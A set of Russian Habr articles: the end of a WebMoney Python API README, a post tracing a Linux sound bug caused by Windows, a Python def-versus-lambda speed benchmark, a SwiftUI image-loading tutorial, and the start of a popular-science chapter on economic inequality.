* retval — код ответа, возвращаемый вебманями. 0 если запрос успешен. Коды можно посмотреть [тут](https://wiki.webmoney.ru/projects/webmoney/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81_X2)
* retdesc — если retval != 0, тут лежит описание ошибки
* response — распарсенный в OrderedDict ответ запроса. Тут лежат только данные, касающиеся запроса. Например, для запроса
```
```
в response будет лежать распарсенный
```
```
Парсинг осуществляется с помощью библиотеки [github.com/martinblech/xmltodict](https://github.com/martinblech/xmltodict)
#### Пример: поиск ID юзера по кошельку
```
>>> api.x8(purse="R328079907035", reqn=int(time.time()))["response"]
OrderedDict([(u'wmid', OrderedDict([(u'@available', u'0'), (u'@themselfcorrstate', u'0'), (u'@newattst', u'110'), ('#text', u'407414370132')])), (u'purse', OrderedDict([(u'@merchant_active_mode', u'-1'), (u'@merchant_allow_cashier', u'-1'), ('#text', u'R328079907035')]))])
>>> api.x8(purse="R328079907035", reqn=int(time.time()))["response"]["wmid"]["#text"]
u'407414370132'
>>> api.x8(purse="R328079907035", reqn=int(time.time()))["response"]["wmid"]["@available"]
u'0'
```
#### Пример: получение истории всех выписанных счетов по кошельку
```
>>> api.x4(purse="R328079907035", datestart="20100101 00:00:00", datefinish="20140501 00:00:00")
ValueError: Error while requesting API. retval = -4, retdesc = wrong w3s.request/reqn step=2
Request data: {'cert': ('/home/stas/wmcerts/crt.pem', '/home/stas/wmcerts/key.pem'),
'data': '20100101 00:00:0020140501 00:00:00R328079907035',
'url': 'https://w3s.wmtransfer.com/asp/XMLOutInvoicesCert.asp',
'verify': False}
```
Ошибка, т.к. не передан параметр reqn. Передадим его:
```
>>> api.x4(purse="R328079907035", datestart="20100101 00:00:00", datefinish="20140501 00:00:00", reqn=int(time.time()))
{'response': OrderedDict([(u'@cnt', u'0'), (u'@cntA', u'0')]),
'retdesc': None,
'retval': u'0'}
```
#### Пример: получение списка счетов на оплату
```
>>> for order in api.x10(wmid="407414370132", datestart="20100101 00:00:00", datefinish="20140501 00:00:00", reqn=int(time.time()))["response"]["ininvoice"]:
>>> print order["orderid"], order["amount"], order["state"]
4640849 122.40 2
24 1.00 2
27 0.40 2
```
#### Ссылки
* Ссылка на репозиторий: [bitbucket.org/sallyruthstruik/python-webmoney-api](https://bitbucket.org/sallyruthstruik/python-webmoney-api)
* Документация Webmoney: [wiki.webmoney.ru/projects/webmoney/wiki/XML-%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81%D1%8B](https://wiki.webmoney.ru/projects/webmoney/wiki/XML-%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81%D1%8B)
* Документация xmltodict: [github.com/martinblech/xmltodict](https://github.com/martinblech/xmltodict)
Буду рад замечаниям и помощи) | https://habr.com/ru/post/222411/ | null | ru | null |
# Как драйвер Windows коварно ломает звук в Linux или мучительные поиски бага
Вместо вступления
-----------------
> Дешевая «комната страха» — темно и везде грабли.
Задумчиво поглядывая на ~~падение в глубокие бездны~~ коррекцию курса рубля, я решил, что оставаться со стремительно девальвирующей бумагой на руках смысла нет и пора обновить устаревшее железо. Выбор остановился на Gigabyte GA-Z97-D3H, так как хотелось иметь интерфейсы для SSD «на вырост». M.2 и Sata Express обещают до 10 Гбит/с на порт, что не может не радовать на фоне стремительного роста скорости накопителей. Собрал, совершил обряд нанесения термопасты и торжественно окропил пивом системный блок, как положено и немедленно погрузился в волнующий мир граблей и загадочных багов.*Виновник торжества.*Простые радости линуксоида
--------------------------
Сразу хочу сказать — я не суровый бородатый железячник, исцеляющий контроллеры возложением рук. Максимум — слегка щетинистый linux-user, использующий открытое ПО в работе и жизни. В тайной подземной лаборатории по выращиванию хедкрабов, в которой я работаю, часто возникают задачи по обработке аудио- и видеоматериалов, полученных в результате работы. Писки вылупляющегося зерглинга там обработать или еще что-то… Короче, без Audacity и Kdenlive никуда. Realtek ALC1150 на материнской плате как всегда обещал неземное блаженство и хрустальные колокольчики, трепещущие под весенним ветром на вершине Гималаев.В поисках грабель
-----------------
И вот, я привычно разбил SSD на разделы для Windows 7 (да, я не люблю плитки) и Kubuntu 14.04 LTS. После поверхностной конфигурации Windows ребутнулся в Linux и удивился отсутствию звука. Решив, что ядро как всегда не успевает за свежим железом, я полез искать известные баги по z97-чипсету. [Первый баг, который попался,](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1321421) печально повествовал об искажениях и хрипах на этом чипсете у пользователей Ubuntu 14.04. Я поверхностно просмотрел рекомендации и попробовал выполнить это:
```
echo "options snd-hda-intel vid=8086 pid=8ca0 snoop=0" >> /etc/modprobe.d/alsa-base.conf
```
После ребута тишина по прежнему наполняла динамики. Не сильно расстроившись, я заметил, что в версии ядра >3.16 проблема должна быть устранена. Видимо, несмотря на обещания сидеть на стабильных LTS релизах, Вселенная подталкивала меня в прежней череде непрерывных обновлений и поисков того, что отвалилось на этот раз. Выполнив do-release-upgrade, я порадовался отсутствию кардинальных изменений, но проблема по-прежнему оставалась. Тогда я решил внести свою лепту в развитие открытого ПО и [запилить положенный баг-репорт.](https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1388436) Помимо стандартных логов, я решил попробовать подать звук вручную, без использования прокладок типа Phonon и PulseAudio.Вначале определяем устройства:
```
meklon@meklon-desktop:~/Музыка$ aplay -l
**** Список PLAYBACK устройств ****
карта 0: PCH [HDA Intel PCH], устройство 0: ALC1150 Analog [ALC1150 Analog]
Подустройства: 1/1
Подустройство №0: subdevice #0
карта 0: PCH [HDA Intel PCH], устройство 1: ALC1150 Digital [ALC1150 Digital]
Подустройства: 1/1
Подустройство №0: subdevice #0
карта 1: HDMI [HDA ATI HDMI], устройство 3: HDMI 0 [HDMI 0]
Подустройства: 1/1
Подустройство №0: subdevice #0
```
Первым делом проверяем, что у нас не стоит mute на низком уровне (спасибо за подсказки [ValdikSS](https://habrahabr.ru/users/valdikss/)):
```
meklon@meklon-desktop:~/Музыка$ amixer set Master 100 unmute
Simple mixer control 'Master',0
Capabilities: pvolume pvolume-joined pswitch pswitch-joined
Playback channels: Mono
Limits: Playback 0 - 87
Mono: Playback 87 [100%] [0.00dB] [on]
```
Теперь пытаемся подать звук напрямую, используя консольный всеядный mplayer:
```
meklon@meklon-desktop:~/Музыка$ amixer set Master 100 unmute
Simple mixer control 'Master',0
Capabilities: pvolume pvolume-joined pswitch pswitch-joined
Playback channels: Mono
Limits: Playback 0 - 87
Mono: Playback 87 [100%] [0.00dB] [on]
meklon@meklon-desktop:~/Музыка$ mplayer --ao=alsa:device=hw=0.0 0.mp3
MPlayer2 2.0-728-g2c378c7-2ubuntu3 (C) 2000-2012 MPlayer Team
Cannot open file '/home/meklon/.mplayer/input.conf': No such file or directory
Failed to open /home/meklon/.mplayer/input.conf.
Cannot open file '/etc/mplayer/input.conf': No such file or directory
Failed to open /etc/mplayer/input.conf.
Playing 0.mp3.
Detected file format: MP2/3 (MPEG audio layer 2/3) (libavformat)
[mp3 @ 0x7f43bdf90b40]max_analyze_duration 5000000 reached
[mp3 @ 0x7f43bdf90b40]Estimating duration from bitrate, this may be inaccurate
[lavf] stream 0: audio (mp3), -aid 0
Clip info:
album_artist: Emma Chapplin
track: 17
title: Spente Le Stelle (Live Version)
artist: Emma Shapplin
album: Forever Gold
genre: Classical
date: 2000
Load subtitles in .
Selected audio codec: MPEG 1.0/2.0/2.5 layers I, II, III [mpg123]
AUDIO: 44100 Hz, 2 ch, s16le, 320.0 kbit/22.68% (ratio: 40000->176400)
AO: [alsa] 44100Hz 2ch s16le (2 bytes per sample)
Video: no video
Starting playback...
A: 6.5 (06.5) of 334.7 (05:34.7) 0.4%
```
И опять слушаем тишину. Тлен и безысходность. Windows при этом продолжает радовать нормальным звуком, исключая аппаратные проблемы. Ощутив в себе пробуждение бородатого тестера ПО, решаю перебрать все возможные варианты:* Ни один из дистрибутивов в live-cd версии не работает
* Замена ядра на 3.17 сделало систему менее адекватной, но звук не появился
* Поотключал физически видеокарту и SSD
* Протер пыль на колонках
* Повтыкал кабель в разные разъемы
* Воскурил мануал перед портретиком Столлмана
Убийца — дворник
----------------
Как вы уже догадались из названия поста — проблема в Windows. И пофиг, что был миллион перезагрузок, включения и выключения, запуски со всех возможных носителей. Итак, барабанная дробь и решение проблемы в виде огромного костыля, перемотанного изолентой:**Чтобы появился звук, нужно физически обесточить системный блок. Да. Именно обесточить. Если вы хотя бы один раз запустите Windows, то звук снова пропадет.**Ребуты и обычное выключение не помогают. Windows при запуске что-то самым подлым образом делает с железом контроллера на материнской плате, делая его недоступным в Linux-системах. Вражеские происки не иначе. Так, как я не специалист в области низкоуровневого железа и ядра — оставляю поиски решения для более бородатых товарищей по несчастью. Кстати, я все-таки наткнулся потом [на описание моего же бага уже после того, как выявил его причину.](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1357723) Пользуясь случаем хочу уточнить, что мне делать со своим баг-репортом? Как его смерджить с более ранним?**UPD 4 Баг внесен в базу kernel.org**Просьба отписываться всех затронутых. [Ссылка на Bugzilla](https://bugzilla.kernel.org/show_bug.cgi?id=87771)**UPD 5 В процессе дебага с помощью темной магии вроде нащупали проблему**После ввода следующего в консоль звук появляется:
```
apt-get install alsa-tools
root@meklon-desktop:/home/meklon# hda-verb /dev/snd/hwC0D2 0x20 SET_COEF_INDEX 0x07
nid = 0x20, verb = 0x500, param = 0x7
value = 0x0
root@meklon-desktop:/home/meklon# hda-verb /dev/snd/hwC0D2 0x20 SET_PROC_COEF 0x7cb0
nid = 0x20, verb = 0x400, param = 0x7cb0
value = 0x0
```
**UPD 6 Баг отмечен как решенный**Фикс будет включен в ядро 3.18-rc5. Если кто-то может помочь в бэкпортировании — было бы замечательно.**** | https://habr.com/ru/post/242253/ | null | ru | null |
# Сравнение быстродействия def и lambda функций. Так все таки быстродействие или читабельность?
Идея для кода
-------------
Читая pep8, я наткнулся на пункт об использовании анонимных функций - по версии пепа, они снижают читабельность, если использовать переменную с значением функции как функцию, лучше использовать def. Я решил сравнить def и lambda по другому параметру - быстродействию. Я предполагал, что lambda, заточенный под однострочники , будет быстрее выполняться и создаваться. В этом исследовании я это проверю.
Библиотеки
----------
Так как здесь будет много измерений времени, то несомненно, нам понадобится библиотека time, а также turtle, чтобы чертить разного рода графики. Я знаю, что это непрактично, но matprolib слишком долго (секунд 10) импортируется. Итак:
```
from turtle import *
from time import time
```
Общие функции
-------------
В нашем коде для измерения быстродействия нужна... функция для измерения быстродействия. Она будет главной для всех производных. Прежде всего - мы не будем измерять время выполнения один раз, слишком велика погрешность. Функция будет принимать в аргументы функцию, для которой проводится замер, а также количество повторений этой функции.
Для самого измерения мы будем использовать разницу во времени между началом выполнения и концом. Из описания складывается код:
```
def speed_test(func, n):
start = time()
for i in range(n):
func()
stop = time()
return stop - start
```
Всего у нас будет 2 диаграммы - полная и усредненная. В каждой по 2 графика - для def и lambda функций. Всего нам потребуется 4 черепахи.
Список значений для 1 и 2 графика очевиден - несколько результатов выполнения замера скорости. С 3 и 4 все сложнее - нужно найти среднее арифметическое одного из 2 первых графиков. Дабы слишком не заморачиваться над тем, чтобы график никуда не вылезал, найдем разницу между каждым элементом каждого графика и средним значением между средними арифметическими из 1 и 2 графика. В итоге, на графике мы будем видеть не общее значение, а разницу.
Все графики занесем в общий словарь, чтобы не создавать много переменных. Словарь заранее объявлен за пределами функции
```
def graph_data(func1, func2, mult1, mult2, arr_len):
l['l1'] = [func1(mult1)*mult2 for i in range(arr_len)]
l['l2'] = [func2(mult1)*mult2 for i in range(arr_len)]
l1_av = sum(l['l1']) // arr_len
l2_av = sum(l['l2']) // arr_len
av = sum((l1_av, l2_av)) / 2
l['l3'] = [l1_av - av for i in range(arr_len)]
l['l4'] = [l2_av - av for i in range(arr_len)]
for i in range(arr_len):
l['l1'][i] -= av
l['l2'][i] -= av
```
Функции для упрощения жизни
---------------------------
Кому захочется повторять одно и то действие, но с разными параметрами? Никому. Поэтому, я и написал некоторые вспомогательные функции, для рисования графика по заданным параметрам, для создания черепахи. Кстати о последнем - черепаи тоже заносятся в общий словарь.
```
def draw(arr, t, x, mult=30):
n = len(arr)
t.up()
t.goto(-n*mult/2, 0)
for i, j in enumerate(arr):
t.goto(x+(-n*mult/2+i*mult), j)
t.down()
t.up()
```
```
def add_turtle(name, color='#000000', width=2):
t[name] = Turtle()
t[name].pencolor(color)
t[name].width(width)
t[name].hideturtle()
t[name].speed('fastest')
```
Производные функции
-------------------
На этом этапе слабонервным людям, ненавидящим многоуровневые вложения, не читать.
Для ранее описанных общих функций можно создавать бесконечно много проиводных.
Для производной замера скорости структура такая:
```
def название(количество_повторений):
def функция_для_замера():
'''действия'''
return speed_test(функция_для_замера,
количество_повторений)
```
А производная для функции построения графика - эта же самая функция с определенными аргументами.
Мы будем проверять скорость создания и скорость выполнения разного вида функций.
Вернемся к первому. В случае проверки скорости создания функции, функция\_для\_замера() будет иметь одну цель - создать внутри себя def или lambda функцию. Эту функцию мы будем вызывать множество раз, и каждый раз она будет создавать одну и ту же функцию заново. Иными словами - функция второго уровня вложенности служит для многократного вызова и создания во время каждого функции 3 уровня вложенности. Надеюсь, вы меня поняли.
Я мог бы сделать легче, но хотел сохранить структуру для всех производных функций.
Первые две производные - для создания пустых функций, возвращаюших False. Для def я мог бы написать с использованием return или pass, но в lambda это невозможно.
```
def test_empty_def(n):
def adding_def_func():
def test(): return False
return speed_test(adding_def_func, n)
def test_empty_lambda(n):
def adding_lambda_func():
test = lambda: False
return speed_test(adding_lambda_func, n)
```
Следующие две - для таких же функций, но с простым выражением:
```
def test_def(n):
def adding_def_func():
def test(): return sum((2, 3, 4)) ** 0.5
return speed_test(adding_def_func, n)
def test_lambda(n):
def adding_lambda_func():
test = lambda: sum((2, 3, 4)) ** 0.5
return speed_test(adding_lambda_func, n)
```
Еще две - для оценки скорости их создания + скорости выполнения:
```
def test_def2(n):
def adding_def_func():
def test(): return sum((2, 3, 4)) ** 0.5
test()
return speed_test(adding_def_func, n)
def test_lambda2(n):
def adding_lambda_func():
test = lambda: sum((2, 3, 4)) ** 0.5
test()
return speed_test(adding_lambda_func, n)
```
Эти функции будут использованы в производных от graph\_data:
```
def for_empty_func(arr_len):
graph_data(test_empty_def, test_empty_lambda, 10000, 20000, arr_len)
def for_one_eval_func(arr_len):
graph_data(test_def, test_lambda, 10000, 20000, arr_len)
def for_doing_func(arr_len):
graph_data(test_def2, test_lambda2, 10000, 20000, arr_len)
```
Алгоритм
--------
Дадим имя окну:
```
title('Сравнение def и lambda функций по скорости')
```
Создадим 4 черепахи для рисования графика:
```
t = {}
add_turtle('t1', '#c80000')
add_turtle('t2', '#00c800')
add_turtle('t3', '#c80000')
add_turtle('t4', '#00c800')
```
Опеределим длину диаграммы в вершинах:
```
arr_len = 20
```
Подготовим данные для графиков и построим их:
```
l = {}
for i in range(5):
производная_от_graph_data(arr_len)
draw(l['l1'], t['t1'], -300)
draw(l['l2'], t['t2'], -300)
draw(l['l3'], t['t3'], 300)
draw(l['l4'], t['t4'], 300)
```
Не забудем добавить событие закрытия окна:
```
exitonclick()
```
Окончательный алгоритм
```
title('Сравнение def и lambda функций по скорости')
t = {}
add_turtle('t1', '#c80000')
add_turtle('t2', '#00c800')
add_turtle('t3', '#c80000')
add_turtle('t4', '#00c800')
arr_len = 20
l = {}
for i in range(5):
for_one_eval_func(arr_len)
draw(l['l1'], t['t1'], -300)
draw(l['l2'], t['t2'], -300)
draw(l['l3'], t['t3'], 300)
draw(l['l4'], t['t4'], 300)
exitonclick()
```
Полный код
```
from turtle import *
from time import time
def speed_test(func, n):
start = time()
for i in range(n):
func()
stop = time()
return stop - start
def test_empty_def(n):
def adding_def_func():
def test(): return False
return speed_test(adding_def_func, n)
def test_empty_lambda(n):
def adding_lambda_func():
test = lambda: False
return speed_test(adding_lambda_func, n)
def test_def(n):
def adding_def_func():
def test(): return sum((2, 3, 4)) ** 0.5
return speed_test(adding_def_func, n)
def test_lambda(n):
def adding_lambda_func():
test = lambda: sum((2, 3, 4)) ** 0.5
return speed_test(adding_lambda_func, n)
def test_def2(n):
def adding_def_func():
def test(): return sum((2, 3, 4)) ** 0.5
test()
return speed_test(adding_def_func, n)
def test_lambda2(n):
def adding_lambda_func():
test = lambda: sum((2, 3, 4)) ** 0.5
test()
return speed_test(adding_lambda_func, n)
def add_turtle(name, color='#000000', width=2):
t[name] = Turtle()
t[name].pencolor(color)
t[name].width(width)
t[name].hideturtle()
t[name].speed('fastest')
def draw(arr, t, x, mult=30):
n = len(arr)
t.up()
t.goto(-n*mult/2, 0)
for i, j in enumerate(arr):
t.goto(x+(-n*mult/2+i*mult), j)
t.down()
t.up()
def graph_data(func1, func2, mult1, mult2, arr_len):
l['l1'] = [func1(mult1)*mult2 for i in range(arr_len)]
l['l2'] = [func2(mult1)*mult2 for i in range(arr_len)]
l1_av = sum(l['l1']) // arr_len
l2_av = sum(l['l2']) // arr_len
av = sum((l1_av, l2_av)) / 2
l['l3'] = [l1_av - av for i in range(arr_len)]
l['l4'] = [l2_av - av for i in range(arr_len)]
for i in range(arr_len):
l['l1'][i] -= av
l['l2'][i] -= av
def for_empty_func(arr_len):
graph_data(test_empty_def, test_empty_lambda, 10000, 20000, arr_len)
def for_one_eval_func(arr_len):
graph_data(test_def, test_lambda, 10000, 20000, arr_len)
def for_doing_func(arr_len):
graph_data(test_def2, test_lambda2, 10000, 20000, arr_len)
title('Сравнение def и lambda функций по скорости')
t = {}
add_turtle('t1', '#c80000')
add_turtle('t2', '#00c800')
add_turtle('t3', '#c80000')
add_turtle('t4', '#00c800')
arr_len = 20
l = {}
for i in range(5):
for_one_eval_func(arr_len)
draw(l['l1'], t['t1'], -300)
draw(l['l2'], t['t2'], -300)
draw(l['l3'], t['t3'], 300)
draw(l['l4'], t['t4'], 300)
exitonclick()
```
Тесты
-----
Переходим к главному - что же быстрее? Зеленым на графике обозначены lambda, красным - def
Первый тест - на скорость создания пустой (почти) функции:
скорость создания пустой (почти) функцииВторой тест - на скорость создания скорости с выражением:
скорость создания скорости с выражениемТретий тест - на скорость создания и выполнения:
на скорость создания и выполненияВо всех случаях ведут lambda функции.
Выводы
------
Для повышения читабельности в любом случае используйте def, ну а если скорость в приоритете - не используйте питон, лол. Ну а если серьезно, то статья кому-то может оказаться полезной, ведь Python идеально подходит для некоторых задач, так почему-бы эти задачи не оптимизировать?
P.S. После проверки в условиях, близких к идеальным, результаты сравнялись. Как писали в комментариях, def и lambda - лишь синтаксический сахар, но в неидеальных условиях разница есть. | https://habr.com/ru/post/598999/ | null | ru | null |
# Адаптируем существующее бизнес-решение под SwiftUI. Часть 2
Доброго всем времени суток! С вами я, Анна Жаркова, ведущий мобильный разработчик компании [«Usetech»](https://usetech.ru/)
В этой части мы уже поговорим по делу, как можно адаптировать готовое решение к проекту на SwiftUI. Если вы еще не особо знакомы с этой технологией, то советую ознакомиться с [кратким введением в тему](https://habr.com/ru/post/500194/).
Итак, рассмотрим простой пример, как можно использовать готовую библиотеку под стандартное iOS приложение в приложении на SwiftUI.
Возьмем классическое решение: асинхронная загрузка изображений с помощью библиотеки SDWebImage.
Для удобства работа с библиотекой инкапсулирована в ImageManager, который вызывает:
* SDWebImageDownloader
* SDImageCache
для скачивания изображений и кеширования.
По традиции, связь с принимающим результат UIImageView реализуется 2мя способами:
* через передачу weak ссылки на этот самый UIImageView;
* через передачу closure-блока в метод ImageManager
Обращение к ImageManager обычно инкапсулируется либо в расширении UIImageView:
```
extension UIImageView {
func setup(by key: String) {
ImageManager.sharedInstance.setImage(toImageView: self, forKey: key)
}
}
```
либо в классе-наследнике:
```
class CachedImageView : UIImageView {
private var _imageUrl: String?
var imageUrl: String? {
get {
return _imageUrl
}
set {
self._imageUrl = newValue
if let url = newValue, !url.isEmpty {
self.setup(by: url)
}
}
}
func setup(by key: String) {
ImageManager.sharedInstance.setImage(toImageView: self, forKey: key)
}
}
```
Теперь попробуем прикрутить это решение к SwiftUI. Однако при адаптации мы должны учесть следующие особенности фреймворка:
— View – структура. Наследование не поддерживается
— Extension в привычном смысле бесполезны. Мы, конечно, можем написать некоторые методы для расширения функционала, но нам *нужно как-то привязать это к DataFlow*;
**Получаем проблему получения обратной связи и необходимость адаптировать всю логику взаимодействия с UI к DataDriven Flow.**
Для решения мы можем пойти как со стороны View, так и со стороны адаптации Data Flow.
Начнем с View.
Для начала вспомним, что *SwiftUI существует не сам по себе, а как надстройка над UIKit*. Разработчики SwiftUI предусмотрели механизм для использования в SwiftUI UIView, аналогов которых нет среди готовых контролов. Для таких случаев существуют протоколы UIViewRepresentable и UIViewControllerRepresentable для адаптации UIView и UIViewController соответственно.
Создадим структуру View, реализующую UIViewRepresentable, в котором переопределим методы:
* makeUiView;
* updateUIView
в которых укажем, какие именно UIView мы используем, и зададим их базовые настройки. И не забудем PropertyWrappers для изменяемых свойств.
```
struct WrappedCachedImage : UIViewRepresentable {
let height: CGFloat
@State var imageUrl: String
func makeUIView(context: Context) -> CachedImageView {
let frame = CGRect(x: 20, y: 0, width: UIScreen.main.bounds.size.width - 40,
height: height)
return CachedImageView(frame: frame)
}
func updateUIView(_ uiView: CachedImageView, context: Context) {
uiView.imageUrl = imageUrl
uiView.contentMode = .scaleToFill
}
}
```
Полученный новый контрол можем встраивать в View SwiftUI:
У такого подхода есть преимущества:
* Не надо менять работу существующей библиотеки
* Логика инкапсулирована во встроенном UIView.
Но появляются и новые обязанности. Во-первых, необходимо следить за управлением памятью в связке View-UIView. Т.к View структура, то вся работа с ними ведется фоново самим фреймворком. А вот очистка новых объектов ложится на плечи разработчика.
Во-вторых, необходимы дополнительные действия для настройки (размеры, стили). Если для View эти параметры включены по умолчанию, то с UIView их надо синхронизировать.
Например, для настройки размеров мы можем использовать GeometryReader, чтобы наше изображение занимало всю ширину экрана и определенную нами высоту:
```
var body: some View {
GeometryReader { geometry in
VStack {
WrappedCachedImage(height:300, imageUrl: imageUrl)
.frame(minWidth: 0, maxWidth: geometry.size.width,
minHeight: 0, maxHeight: 300)
}
}
}
```
В принципе для таких случаев использование встраиваемых UIView может быть расценено, как *оверинженеринг*. Поэтому теперь попробуем решить через DataFlow SwiftUI.
View у нас зависит от переменной состояния или группы переменных, т.е. от некой модели, которая сама может этой переменной состояния являться. По сути, это взаимодействие построено на паттерне MVVM.
Реализуем следующим образом:
* создадим кастомный View, внутри которого будем использовать контрол SwiftUI;
* создадим ViewModel, в которую перенесем логику работы с Model (ImageManager).
Для того, чтобы между View и ViewModel была связь, ViewModel должна реализовывать протокол **ObservableObject** и подключаться к View как **ObservedObject**.
```
class CachedImageModel : ObservableObject {
@Published var image: UIImage = UIImage()
private var urlString: String = ""
init(urlString:String) {
self.urlString = urlString
}
func loadImage() {
ImageManager.sharedInstance
.receiveImage(forKey: urlString) {[weak self] (im) in
guard let self = self else {return}
DispatchQueue.main.async {
self.image = im
}
}
}
}
```
View в методе onAppear своего life-cycle вызывает метод ViewModel и получает итоговое изображение из ее свойства @Published:
```
struct CachedLoaderImage : View {
@ObservedObject var model:CachedImageModel
init(withURL url:String) {
self.model = CachedImageModel(urlString: url)
}
var body: some View {
Image(uiImage: model.image)
.resizable()
.onAppear{
self.model.loadImage()
}
}
}
```
Также для работы с DataFlow SwiftUI есть декларативный [API Combine](https://developer.apple.com/videos/play/wwdc2019/721). Работа с ним очень похожа на работу с реактивными фреймворками (тот же RxSwift): есть субъекты, есть подписчики, есть похожие методы управления, есть cancellable (вместо Disposable).
```
class ImageLoader: ObservableObject {
@Published var image: UIImage?
private var cancellable: AnyCancellable?
func load(url: String) {
cancellable = ImageManager.sharedInstance.publisher(for: url)
.map { UIImage(data: $0.data) }
.replaceError(with: nil)
.receive(on: DispatchQueue.main)
.assign(to: \.image, on: self)
}
```
Если бы наш ImageManager изначально был написан с использованием Combine, то решение бы имело такой вид.
Но т.к. ImageManager реализован у нас по другим принципам, то попробуем другой способ. Для генерации события мы будем использовать механизм PasstroughSubject, поддерживающий автозавершение подписок.
```
var didChange = PassthroughSubject()
```
Новое значение будем отправлять при присвоении значения свойству UIImage нашей модели:
```
var data = UIImage() {
didSet {
didChange.send(data)
}
}
Обратите внимание, здесь нет модификатора свойств.
```
Итоговое значение наш View «слушает» в методе onReceive:
```
var body: some View {
Image(uiImage: image)
.onReceive(imageLoader.didChange) { im in
self.image = im
//какие-то действия с изображением
}
}
```
Итак, мы разобрали простой пример, как можно адаптировать существующий код под SwiftUI.
Что остается добавить. Если существовавшее iOS решение больше затрагивает UI-часть, то лучше использовать адаптацию через UIViewRepresentable. В остальных случаях нужна адаптация со стороны View-модель состояния.
В следующих частях мы рассмотрим, [как адаптировать бизнес-логику существующего проекта к SwiftUI](https://habr.com/ru/post/500470/), [работу с навигацией](https://habr.com/ru/post/500492/) и затем копнем адаптацию к Combine немного глубже.
Более подробно про работу с View под SwiftUI смотрите [тут](https://developer.apple.com/tutorials/swiftui/tutorials). | https://habr.com/ru/post/500386/ | null | ru | null |
# Теория счастья. Термодинамика классового неравенства
*Продолжаю знакомить читателей Хабра с главами из своей книжки «Теория счастья» с подзаголовком «Математические основы законов подлости». Это ещё не изданная научно-популярная книжка, очень неформально рассказывающая о том, как математика позволяет с новой степенью осознанности взглянуть на мир и жизнь людей. Она для тех кому интересна наука и для тех, кому интересна жизнь. А поскольку жизнь наша сложна и, по большому счёту, непредсказуема, упор в книжке делается, в основном, на теорию вероятностей и математическую статистику. Здесь не доказываются теоремы и не даются основы науки, это ни в коем случае не учебник, а то, что называется recreational science. Но именно такой почти игровой подход позволяет развить интуицию, скрасить яркими примерами лекции для студентов и, наконец, объяснить нематематикам и нашим детям, что же такого интересного мы нашли в своей сухой науке.*
**Опубликованные главы:** • [Введение в мерфологию](https://habr.com/post/416941/)
• [Случайности случайны?](https://habr.com/post/431706/)
• [Головокружительный полёт бутерброда с маслом](https://habr.com/post/433512/)
• [Закон арбузной корки и нормальность ненормальности](https://habr.com/post/416551/)
• [Закон зебры и чужой очереди](https://habr.com/post/416907/)
• [Проклятие режиссёра и проклятые принтеры](https://habr.com/post/421351/)
• Термодинамика классового неравенства
В этой главе мы порассуждаем о деньгах, рынках и энтропии, а также посмотрим на анимированные гифки, которых, увы, в книжке напечатать не получится.
> **Наблюдение Хонгрена:**
>
> Среди экономистов реальный мир зачастую считается частным случаем.
>
>
Экономика — большая, серьёзная, но своеобразная наука. Несомненно, она жизненно необходима, как дисциплина, изучающая реальное и важное явление нашего мира: экономическую действительность. Экономическая наука стремится к доказуемости и формализации, в ней много математики, подчас сложной и интересной. Однако открывая серьёзный экономический учебник, вы, скорее всего, обнаружите какие-то сравнительно несложные выкладки, готовые рецепты и кучу неформальных рассуждений в таком духе: «но на самом деле всё может быть не так и, вообще, как угодно, если на то будет воля ключевых игроков или правительства». В конце концов, может сложиться ощущение, что в этой дисциплине важнее интуиция, знание психологии и умение воспринимать общий контекст, чем точный расчёт и скурпулёзное рассмотрение деталей (речь об экономике, а не о бухгалтерии). Наконец, почти половина липовых диссертаций пишется именно по экономике, стало быть, не так уж и сложно наукообразно рассуждать на экономические темы. Попробуем и мы свои силы на этом поприще, благо, нигде так остро не воспринимается несправедливость этого мира, как в вопросе распределения богатства. К тому же, чем бы ни занимался человек, какой бы профессией ни владел, он вовлечён в экономику и её игры, от законов экономики, как и от законов физики не спрятаться.
Из всей массы задач, решаемых математической экономикой, мы рассмотрим лишь одну — каким образом получается так, что даже при равных условиях для всех участников рынка и справедливом обмене средствами бедных становится больше чем богатых и почему даже идеальное математическое общество оказывается склонно к финансовому неравенству. Ну, и попутно узнаем кое-что любопытное о математической статистике и распределениях случайных величин.
Я физик по образованию и по профессии, и моя профессиональная деформация выражается в своеобразном взгляде на мир, как на множество разнообразных физических систем и процессов. С точки зрения физика, реальный рынок — это существенно нестационарная открытая система, со множеством степеней свободы, в которой важную роль играют стохастические (случайные) процессы. В этом смысле рынок похож на предмет изучения таких разделов физики, как термодинамика и статистическая физика, в которых, ввиду невозможности рассмотреть всё неисчислимое количество деталей и поведение всех составляющих частей системы, переходят к обобщающим и измеримым её свойствам, таким как энергия, температура или давление. Неудивительно, что попытки термодинамического описания экономических систем и создания эконофизики предпринимаются уже более ста лет. Но вот беда: пока учёные рассматривают детали, обобщают полученные знания и ведут споры о фундаментальных законах, основной объект изучения — экономическая действительность, успевает поменяться до неузнаваемости. Её поведение как будто стремится сохранить, а то и увеличить свои неопределённость и непредсказуемость.
Хорошим примером служит двухвековая история использования технического анализа при игре на фондовой бирже. Когда появляется новый мощный инструмент, позволяющий нащупать скрытые закономерности и предсказать курс ценной бумаги или акции, он начинает приносить прибыль тем, кто его использует. Но вскоре рынок начинает «чувствовать» новых игроков и подстраиваться под их стратегию, точность предсказаний замечательного метода начинает падать и, спустя какое-то время, он попадает в большой список устаревших и не слишком надёжных инструментов. Ни современные гибкие самообучающиеся нейросетевые алгоритмы, ни сверхскоростные роботы-трейдеры, совершающие миллионы операций в минуту, не поменяли за минувшие два десятилетия основное свойство биржевой игры — её непредсказуемость. И до сих пор основными достоинствами профессионала в этой отрасли являются воля, выдержка характера, несклонность к азарту… ну, или владение биржей. Всё как в казино, где игры основаны на чистой случайности! С одной стороны, это, конечно, обидно, а с другой — даёт повод постоянно совершенствовать методы и подходы. Когда-то и теория вероятностей и математическая статистика родились из попыток анализа азартных и экономических игр и только потом нашли применение почти во всех естественных науках.
